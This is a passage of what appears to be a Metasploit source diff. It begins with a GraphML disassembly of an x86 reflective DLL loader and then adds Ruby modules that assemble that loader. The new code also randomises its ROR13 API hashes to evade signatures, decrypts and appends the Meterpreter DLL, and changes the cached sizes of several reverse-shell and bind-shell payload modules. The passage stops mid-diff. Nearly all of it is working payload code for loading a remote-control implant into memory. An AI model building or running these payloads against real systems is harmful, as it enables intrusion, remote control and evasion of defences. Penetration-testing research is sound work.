83c604 + add esi, 4 + + + 0x12e0 + instruction + 83c704 + add edi, 4 + + + 0x12e3 + instruction + ebcc + jmp 0x12b1 + + + + + + + 0x12e5 + instructions-graph + + 0x12e5 + instructions + + 0x12e5 + instruction + 8345c414 + add dword ptr [ebp - 0x3c], 0x14 + + + 0x12e9 + instruction + eb99 + jmp 0x1284 + + + + + + 0x12eb + instructions-graph + + 0x12eb + instructions + + 0x12eb + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x12ee + instruction + 8b45e8 + mov eax, dword ptr [ebp - 0x18] + + + 0x12f1 + instruction + 2b4234 + sub eax, dword ptr [edx + 0x34] + + + 0x12f4 + instruction + 8945ec + mov dword ptr [ebp - 0x14], eax + + + 0x12f7 + instruction + 8b82a0000000 + mov eax, dword ptr [edx + 0xa0] + + + 0x12fd + instruction + 85c0 + test eax, eax + + + 0x12ff + instruction + 7464 + je 0x1365 + + + + + + + + + + + + + + 0x1301 + instructions-graph + + 0x1301 + instructions + + 0x1301 + instruction + 8b8aa4000000 + mov ecx, dword ptr [edx + 0xa4] + + + 0x1307 + instruction + 85c9 + test ecx, ecx + + + 0x1309 + instruction + 745a + je 0x1365 + + + + + + + 0x130b + instructions-graph + + 0x130b + instructions + + 0x130b + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x130e + instruction + 8945c4 + mov dword ptr [ebp - 0x3c], eax + + + + + + 0x1311 + instructions-graph + + 0x1311 + instructions + + 0x1311 + instruction + 8b55c4 + mov edx, dword ptr [ebp - 0x3c] + + + 0x1314 + instruction + 8b4204 + mov eax, dword ptr [edx + 4] + + + 0x1317 + instruction + 85c0 + test eax, eax + + + 0x1319 + instruction + 744a + je 0x1365 + + + + + + + + 0x131b + instructions-graph + + 0x131b + instructions + + 0x131b + instruction + 83e808 + sub eax, 8 + + + 0x131e + instruction + d1e8 + shr eax, 1 + + + 0x1320 + instruction + 8945cc + mov dword ptr [ebp - 0x34], eax + + + 0x1323 + instruction + 8b02 + mov eax, dword ptr [edx] + + + 0x1325 + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x1328 + instruction + 8945c0 + mov dword ptr [ebp - 0x40], eax + + + 0x132b + instruction + 8d5a08 + lea ebx, [edx + 8] + + + + + + + + + + + + + 0x132e + instructions-graph + + 0x132e + instructions + + 0x132e + instruction + 837dcc00 + cmp dword ptr [ebp - 0x34], 0 + + + 0x1332 + instruction + 7424 + je 0x1358 + + + + + + 0x1334 + instructions-graph + + 0x1334 + instructions + + 0x1334 + instruction + 0fb703 + movzx eax, word ptr [ebx] + + + 0x1337 + instruction + 89c1 + mov ecx, eax + + + 0x1339 + instruction + c1e90c + shr ecx, 0xc + + + 0x133c + instruction + 25ff0f0000 + and eax, 0xfff + + + 0x1341 + instruction + 83f903 + cmp ecx, 3 + + + 0x1344 + instruction + 750a + jne 0x1350 + + + + + + + + + + + + + 0x1346 + instructions-graph + + 0x1346 + instructions + + 0x1346 + instruction + 8b55c0 + mov edx, dword ptr [ebp - 0x40] + + + 0x1349 + instruction + 01c2 + add edx, eax + + + 0x134b + instruction + 8b4dec + mov ecx, dword ptr [ebp - 0x14] + + + 0x134e + instruction + 010a + add dword ptr [edx], ecx + + + + + + + + + 0x1350 + instructions-graph + + 0x1350 + instructions + + 0x1350 + instruction + 83c302 + add ebx, 2 + + + 0x1353 + instruction + ff4dcc + dec dword ptr [ebp - 0x34] + + + 0x1356 + instruction + ebd6 + jmp 0x132e + + + + + + + 0x1358 + instructions-graph + + 0x1358 + instructions + + 0x1358 + instruction + 8b55c4 + mov edx, dword ptr [ebp - 0x3c] + + + 0x135b + instruction + 8b4204 + mov eax, dword ptr [edx + 4] + + + 0x135e + instruction + 01c2 + add edx, eax + + + 0x1360 + instruction + 8955c4 + mov dword ptr [ebp - 0x3c], edx + + + 0x1363 + instruction + ebac + jmp 0x1311 + + + + + + + + + + + + 0x1365 + instructions-graph + + 0x1365 + instructions + + 0x1365 + instruction + 8b4de8 + mov ecx, dword ptr [ebp - 0x18] + + + 0x1368 + instruction + 8b413c + mov eax, dword ptr [ecx + 0x3c] + + + 0x136b + instruction + 01c8 + add eax, ecx + + + 0x136d + instruction + 8945e4 + mov dword ptr [ebp - 0x1c], eax + + + 0x1370 + instruction + 0fb74814 + movzx ecx, word ptr [eax + 0x14] + + + 0x1374 + instruction + 8d4c0818 + lea ecx, [eax + ecx + 0x18] + + + 0x1378 + instruction + 894dc4 + mov dword ptr [ebp - 0x3c], ecx + + + 0x137b + instruction + 0fb74006 + movzx eax, word ptr [eax + 6] + + + 0x137f + instruction + 8945cc + mov dword ptr [ebp - 0x34], eax + + + + + + + + + + + + + + + + + + + + + + + + 0x1382 + instructions-graph + + 0x1382 + instructions + + 0x1382 + instruction + 837dcc00 + cmp dword ptr [ebp - 0x34], 0 + + + 0x1386 + instruction + 7460 + je 0x13e8 + + + + + + 0x1388 + instructions-graph + + 0x1388 + instructions + + 0x1388 + instruction + 8b5dc4 + mov ebx, dword ptr [ebp - 0x3c] + + + 0x138b + instruction + 8b4308 + mov eax, dword ptr [ebx + 8] + + + 0x138e + instruction + 85c0 + test eax, eax + + + 0x1390 + instruction + 744d + je 0x13df + + + + + + + + 0x1392 + instructions-graph + + 0x1392 + instructions + + 0x1392 + instruction + 8b4324 + mov eax, dword ptr [ebx + 0x24] + + + 0x1395 + instruction + c1e81d + shr eax, 0x1d + + + 0x1398 + instruction + 83e007 + and eax, 7 + + + 0x139b + instruction + e9ba000000 + jmp 0x145a + + + + + + + + 0x13a0 + instructions-graph + + 0x13a0 + instructions + + 0x13a0 + instruction + 59 + pop ecx + + + 0x13a1 + instruction + 0fb63401 + movzx esi, byte ptr [ecx + eax] + + + 0x13a5 + instruction + eb00 + jmp 0x13a7 + + + + + + 0x13a7 + instructions-graph + + 0x13a7 + instructions + + 0x13a7 + instruction + 83ec0c + sub esp, 0xc + + + 0x13aa + instruction + 8b430c + mov eax, dword ptr [ebx + 0xc] + + + 0x13ad + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x13b0 + instruction + 890424 + mov dword ptr [esp], eax + + + 0x13b3 + instruction + 8b4308 + mov eax, dword ptr [ebx + 8] + + + 0x13b6 + instruction + 89442404 + mov dword ptr [esp + 4], eax + + + 0x13ba + instruction + c744240800000000 + mov dword ptr [esp + 8], 0 + + + 0x13c2 + instruction + 8d442408 + lea eax, [esp + 8] + + + 0x13c6 + instruction + 50 + push eax + + + 0x13c7 + instruction + 56 + push esi + + + 0x13c8 + instruction + 8d44240c + lea eax, [esp + 0xc] + + + 0x13cc + instruction + 50 + push eax + + + 0x13cd + instruction + 8d44240c + lea eax, [esp + 0xc] + + + 0x13d1 + instruction + 50 + push eax + + + 0x13d2 + instruction + 6aff + push -1 + + + 0x13d4 + instruction + 8b55b4 + mov edx, dword ptr [ebp - 0x4c] + + + 0x13d7 + instruction + e83a000000 + call 0x1416 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x13dc + instructions-graph + + 0x13dc + instructions + + 0x13dc + instruction + 83c40c + add esp, 0xc + + + + + 0x13df + instructions-graph + + 0x13df + instructions + + 0x13df + instruction + 8345c428 + add dword ptr [ebp - 0x3c], 0x28 + + + 0x13e3 + instruction + ff4dcc + dec dword ptr [ebp - 0x34] + + + 0x13e6 + instruction + eb9a + jmp 0x1382 + + + + + + + 0x13e8 + instructions-graph + + 0x13e8 + instructions + + 0x13e8 + instruction + 8b4de8 + mov ecx, dword ptr [ebp - 0x18] + + + 0x13eb + instruction + 8b413c + mov eax, dword ptr [ecx + 0x3c] + + + 0x13ee + instruction + 01c8 + add eax, ecx + + + 0x13f0 + instruction + 8b4028 + mov eax, dword ptr [eax + 0x28] + + + 0x13f3 + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x13f6 + instruction + 8945c4 + mov dword ptr [ebp - 0x3c], eax + + + 0x13f9 + instruction + 6a00 + push 0 + + + 0x13fb + instruction + 6a00 + push 0 + + + 0x13fd + instruction + 6aff + push -1 + + + 0x13ff + instruction + ff55f0 + call dword ptr [ebp - 0x10] + + + + + + + + + + + + + + + + + + + + 0x1402 + instructions-graph + + 0x1402 + instructions + + 0x1402 + instruction + 6a00 + push 0 + + + 0x1404 + instruction + 6a01 + push 1 + + + 0x1406 + instruction + ff75e8 + push dword ptr [ebp - 0x18] + + + 0x1409 + instruction + ff55c4 + call dword ptr [ebp - 0x3c] + + + + + + + + 0x140c + instructions-graph + + 0x140c + instructions + + 0x140c + instruction + 8b45c4 + mov eax, dword ptr [ebp - 0x3c] + + + 0x140f + instruction + 5f + pop edi + + + 0x1410 + instruction + 5e + pop esi + + + 0x1411 + instruction + 5b + pop ebx + + + 0x1412 + instruction + 89ec + mov esp, ebp + + + 0x1414 + instruction + 5d + pop ebp + + + 0x1415 + instruction + c3 + ret + + + + + + + + + + + 0x1416 + instructions-graph + + 0x1416 + instructions + + 0x1416 + instruction + 8b4201 + mov eax, dword ptr [edx + 1] + + + 0x1419 + instruction + 8d5205 + lea edx, [edx + 5] + + + 0x141c + instruction + ffe2 + jmp edx + + + + + + + 0x141e + instructions-graph + + 0x141e + instructions + + 0x141e + instruction + 8b55e8 + mov edx, dword ptr [ebp - 0x18] + + + 0x1421 + instruction + 8b423c + mov eax, dword ptr [edx + 0x3c] + + + 0x1424 + instruction + 01d0 + add eax, edx + + + 0x1426 + instruction + 8b4078 + mov eax, dword ptr [eax + 0x78] + + + 0x1429 + instruction + 01d0 + add eax, edx + + + 0x142b + instruction + 8945e0 + mov dword ptr [ebp - 0x20], eax + + + 0x142e + instruction + 8b4818 + mov ecx, dword ptr [eax + 0x18] + + + 0x1431 + instruction + 894dc8 + mov dword ptr [ebp - 0x38], ecx + + + 0x1434 + instruction + 8b4820 + mov ecx, dword ptr [eax + 0x20] + + + 0x1437 + instruction + 01d1 + add ecx, edx + + + 0x1439 + instruction + 894ddc + mov dword ptr [ebp - 0x24], ecx + + + 0x143c + instruction + 8b4824 + mov ecx, dword ptr [eax + 0x24] + + + 0x143f + instruction + 01d1 + add ecx, edx + + + 0x1441 + instruction + 894dd8 + mov dword ptr [ebp - 0x28], ecx + + + 0x1444 + instruction + c3 + ret + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x1445 + instructions-graph + + 0x1445 + instructions + + 0x1445 + instruction + b800000000 + mov eax, 0 + + + + + 0x144a + instructions-graph + + 0x144a + instructions + + 0x144a + instruction + 0fb619 + movzx ebx, byte ptr [ecx] + + + 0x144d + instruction + 85db + test ebx, ebx + + + 0x144f + instruction + 7408 + je 0x1459 + + + + + + + 0x1451 + instructions-graph + + 0x1451 + instructions + + 0x1451 + instruction + c1c80d + ror eax, 0xd + + + 0x1454 + instruction + 01d8 + add eax, ebx + + + 0x1456 + instruction + 41 + inc ecx + + + 0x1457 + instruction + ebf1 + jmp 0x144a + + + + + + + + 0x1459 + instructions-graph + + 0x1459 + instructions + + 0x1459 + instruction + c3 + ret + + + + + 0x145a + instructions-graph + + 0x145a + instructions + + 0x145a + instruction + e841ffffff + call 0x13a0 + + + + + 0x145f + data + 0110022004400440 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 89f4e011ec4b7..d6690e61fcd23 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -13,6 +13,7 @@ module Payload::Windows::MeterpreterLoader include Msf::ReflectiveDLLLoader include Msf::Payload::Windows + include Msf::Payload::Windows::ReflectiveLoader def initialize(info = {}) super(update_info(info, @@ -28,6 +29,9 @@ def initialize(info = {}) 'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', }, 'Stage' => { 'Payload' => "" } )) + register_advanced_options([ + OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]), + ], self.class) end def asm_invoke_metsrv(opts={}) @@ -93,15 +97,28 @@ def generate_config(opts={}) def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore debug_build = ds['MeterpreterDebugBuild'] - # Exceptions will be thrown by the mixin if there are issues. - dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build)) - + custom_loader = ds['MeterpreterLoader::CustomLoader'] == true + + loader = reflective_loader() + if custom_loader + custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x86.bin') + unless ::File.exist?(custom_loader_path) + print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.") + raise RuntimeError, "Custom loader not found at #{custom_loader_path}" + end + loader = ::File.binread(custom_loader_path) + end + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))) asm_opts = { - rdi_offset: offset, - length: dll.length, - stageless: opts[:stageless] == true - } - + rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader + length: dll.length + loader.length, # the total length of the payload is the length of the custom loader + the dll + stageless: opts[:stageless] == true + } + puts("WARNING: Local file #{custom_loader_path} is being used") if custom_loader + vprint_status("Loader length: #{loader.length} bytes") + vprint_status("DLL length: #{dll.length} bytes") + vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") + vprint_status("Configuration offset: #{asm_opts[:length]} bytes") asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm @@ -114,8 +131,7 @@ def stage_meterpreter(opts={}) # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - - dll + dll + loader end end diff --git a/lib/msf/core/payload/windows/reflective_loader.rb b/lib/msf/core/payload/windows/reflective_loader.rb new file mode 100644 index 0000000000000..2924b2e28ea58 --- /dev/null +++ b/lib/msf/core/payload/windows/reflective_loader.rb @@ -0,0 +1,53 @@ +module Msf::Payload::Windows::ReflectiveLoader + def reflective_loader(opts = {}) + iv = opts.fetch(:iv) { rand(0x100000000) } & 0xFFFFFFFF + reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file( + File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x86.graphml'), + arch: ARCH_X86, + name: 'reflective_loader' + ) + + _patch_bytes = lambda { |asm, oldbytes, newbytes| + unless asm.include?(oldbytes) + raise "Failed to patch, opcode: #{oldbytes} not found." + end + asm.sub!(oldbytes, newbytes) + } + + _to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0| + name = name.unpack('C*').pack('v*') if unicode + fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ""), iv: iv) & 0xFFFFFFFF + [fun_hash].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + } + + # Patching IV + iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xbf, 0x00, 0x00, 0x00, 0x00", "db 0xbf, #{iv_bytes}") + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xb8, 0x00, 0x00, 0x00, 0x00", "db 0xb8, #{iv_bytes}") + + vprint_status("Random IV: #{iv}") + patches = [ + { :base => "db 0x81, 0xff,", name: 'KERNEL32.DLL', unicode: true }, + { :base => "db 0x81, 0xff,", name: 'NTDLL.DLL', unicode: true}, + { :base => "db 0x3d,", name: 'LoadLibraryA', count: 2}, + { :base => "db 0x3d,", name: 'GetProcAddress'}, + { :base => "db 0x3d,", name: 'ZwAllocateVirtualMemory', count: 2}, + { :base => "db 0x3d,", name: 'ZwProtectVirtualMemory'}, + { :base => "db 0x3d,", name: 'NtFlushInstructionCache', count: 2}, + ] + + patches.each { |patch| + count = patch.fetch(:count) { 1 } + old_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0) + new_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv) + count.times do + vprint_status("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}") + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}") + end + } + code = Metasm::Shellcode.assemble(Metasm::X86.new, reflective_loader_asm).encode_string + hash = Rex::Text.md5_raw(code).unpack("H*").first + vprint_status("Reflective Loader GraphML fingerprint: #{hash}") + code + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index d4cc5c4bbaa19..d2feb5f442d61 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -14,6 +14,7 @@ module Payload::Windows::MeterpreterLoader_x64 include Msf::ReflectiveDLLLoader include Msf::Payload::Windows + include Msf::Payload::Windows::ReflectiveLoaderX64 def initialize(info = {}) super(update_info(info, @@ -29,6 +30,9 @@ def initialize(info = {}) 'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' }, 'Stage' => { 'Payload' => "" } )) + register_advanced_options([ + OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]), + ], self.class) end def asm_invoke_metsrv(opts={}) @@ -97,15 +101,28 @@ def generate_config(opts={}) def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore debug_build = ds['MeterpreterDebugBuild'] - # Exceptions will be thrown by the mixin if there are issues. - dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build)) - + custom_loader = ds['MeterpreterLoader::CustomLoader'] == true + + loader = reflective_loader() + if custom_loader + custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x64.bin') + unless ::File.exist?(custom_loader_path) + print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.") + raise RuntimeError, "Custom loader not found at #{custom_loader_path}" + end + loader = ::File.binread(custom_loader_path) + end + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build))) asm_opts = { - rdi_offset: offset, - length: dll.length, - stageless: opts[:stageless] == true - } - + rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader + length: dll.length + loader.length, # the total length of the payload is the length of the custom loader + the dll + stageless: opts[:stageless] == true + } + puts("WARNING: Local file #{custom_loader_path} is being used") if custom_loader + vprint_status("Loader length: #{loader.length} bytes") + vprint_status("DLL length: #{dll.length} bytes") + vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes") + vprint_status("Configuration offset: #{asm_opts[:length]} bytes") asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm @@ -118,12 +135,8 @@ def stage_meterpreter(opts={}) # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - - dll + dll + loader end - -end - end - +end \ No newline at end of file diff --git a/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb b/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb new file mode 100644 index 0000000000000..13225b905eff0 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb @@ -0,0 +1,55 @@ +module Msf::Payload::Windows::ReflectiveLoaderX64 + + def reflective_loader(opts = {}) + iv = opts.fetch(:iv) { rand(0x100000000) } & 0xFFFFFFFF + + reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file( + File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x64.graphml'), + arch: ARCH_X64, + name: 'reflective_loader' + ) + + _patch_bytes = lambda { |asm, oldbytes, newbytes| + unless asm.include?(oldbytes) + raise "Failed to patch, opcode: #{oldbytes} not found." + end + asm.sub!(oldbytes, newbytes) + } + + _to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0| + name = name.unpack('C*').pack('v*') if unicode + fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ""), iv: iv) & 0xFFFFFFFF + [fun_hash].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + } + + # Patching IV + iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ') + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0x41, 0xbc, 0x00, 0x00, 0x00, 0x00", "db 0x41, 0xbc, #{iv_bytes}") + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xb8, 0x00, 0x00, 0x00, 0x00", "db 0xb8, #{iv_bytes}") + + vprint_status("Random IV: #{iv}") + patches = [ + { :base => "db 0x41, 0x81, 0xfc,", name: 'KERNEL32.DLL', unicode: true }, + { :base => "db 0x41, 0x81, 0xfc,", name: 'NTDLL.DLL', unicode: true}, + { :base => "db 0x3d,", name: 'LoadLibraryA', count: 2}, + { :base => "db 0x3d,", name: 'GetProcAddress'}, + { :base => "db 0x3d,", name: 'ZwAllocateVirtualMemory', count: 2}, + { :base => "db 0x3d,", name: 'ZwProtectVirtualMemory'}, + { :base => "db 0x3d,", name: 'NtFlushInstructionCache', count: 2}, + ] + + patches.each { |patch| + count = patch.fetch(:count) { 1 } + old_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0) + new_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv) + count.times do + vprint_status("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}") + reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}") + end + } + code = Metasm::Shellcode.assemble(Metasm::X64.new, reflective_loader_asm).encode_string + hash = Rex::Text.md5_raw(code).unpack("H*").first + vprint_status("Reflective Loader GraphML fingerprint: #{hash}") + code + end +end \ No newline at end of file diff --git a/lib/rex/payloads/shuffle.rb b/lib/rex/payloads/shuffle.rb index ade9acfac79f3..de1b43a54fe89 100644 --- a/lib/rex/payloads/shuffle.rb +++ b/lib/rex/payloads/shuffle.rb @@ -23,11 +23,19 @@ class Shuffle # @param name [String] An optional symbol name to apply to the assembly source. def self.from_graphml_file(file_path, arch: nil, name: nil) graphml = Rex::Parser::GraphML.from_file(file_path) - blocks = create_path(graphml.nodes.select { |_id,node| node.attributes['type'] == 'block' }, graphml.graphs[0].edges) - blocks.map! { |block| { node: block, instructions: process_block(block) } } + blocks = create_path(graphml.nodes.select { |_id,node| %w[ data instructions-graph ].include?(node.attributes['type']) }, graphml.graphs[0].edges) + blocks.map! do |block| + hash = { node: block } + + if block.attributes['type'] == 'instructions-graph' + hash[:instructions] = process_instructions_graph_block(block) + end + + hash + end label_prefix = Rex::Text.rand_text_alpha_lower(4) - labeler = lambda { |address| "loc_#{label_prefix}#{ address.to_s(16).rjust(4, '0') }" } + labeler = lambda { |address| "loc_#{label_prefix}#{address.to_s(16).rjust(4, '0')}" } source_lines = [] labeled = [] @@ -36,22 +44,30 @@ def self.from_graphml_file(file_path, arch: nil, name: nil) if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? arch source_lines << labeler.call(block[:node].attributes['address']) + ':' labeled << block[:node].attributes['address'] - # by default use the raw binary instruction to avoid syntax compatibility issues with metasm - instructions = block[:instructions].map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') } + case block[:node].attributes['type'] + when 'data' + instructions = [ 'db ' + block[:node].attributes['data.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') ] + when 'instructions-graph' + # by default use the raw binary instruction to avoid syntax compatibility issues with metasm + instructions = block[:instructions].map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') } + end else instructions = block[:instructions].map { |node| node.attributes['instruction.source'] } end + unless arch.nil? raise ArgumentError, 'Unsupported architecture' if FLOW_INSTRUCTIONS[arch].nil? - # if a supported architecture was specified, use the original source and apply the necessary labels - block[:instructions].each_with_index do |node, index| - next unless match = /^(?\S+)\s+(?
0x[a-f0-9]+)$/.match(node.attributes['instruction.source']) - next unless FLOW_INSTRUCTIONS[arch].include? match[:mnemonic] + if block[:node].attributes['type'] == 'instructions-graph' + # if a supported architecture was specified, use the original source and apply the necessary labels + block[:instructions].each_with_index do |node, index| + next unless match = /^(?\S+)\s+(?
0x[a-f0-9]+)$/.match(node.attributes['instruction.source']) + next unless FLOW_INSTRUCTIONS[arch].include? match[:mnemonic] - address = Integer(match[:address]) - instructions[index] = "#{match[:mnemonic]} #{labeler.call(address)}" - label_refs << address + address = Integer(match[:address]) + instructions[index] = "#{match[:mnemonic]} #{labeler.call(address)}" + label_refs << address + end end end @@ -75,7 +91,7 @@ class << self # Process the specified graph element which represents a single basic block in assembly. This graph element # contains nodes representing each of its instructions. # - def process_block(block) + def process_instructions_graph_block(block) subgraph = block.subgraph instructions = subgraph.nodes.select { |_id, node| node.attributes['type'] == 'instruction' } create_path(instructions, subgraph.edges) diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index f3496dee50298..3c4e2e96ef346 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 199238 + CachedSize = 200485 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 1e0572c956c29..c8acd1cfe3b0c 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 199238 + CachedSize = 200485 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 97fb03b8cbfd2..bdafb710c9040 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 200284 + CachedSize = 201531 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index f98f6a64dd630..4f78e1c69852c 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 200284 + CachedSize = 201531 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index b894677c9fec0..f7fbd1ef25d65 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 199238 + CachedSize = 200485 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 6c4738ee56907..bc012ef134f81 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 199238 + CachedSize = 200485 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb index f705195f500e5..c0f54b78347b4 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 248902 + CachedSize = 250534 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 090cb171f2e56..500402055ce01 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 248902 + CachedSize = 250534 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 8683c867fb22a..e89c6eddad373 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 249948 + CachedSize = 251580 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index ab26531892a8c..0dfc4de23c9b3 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ 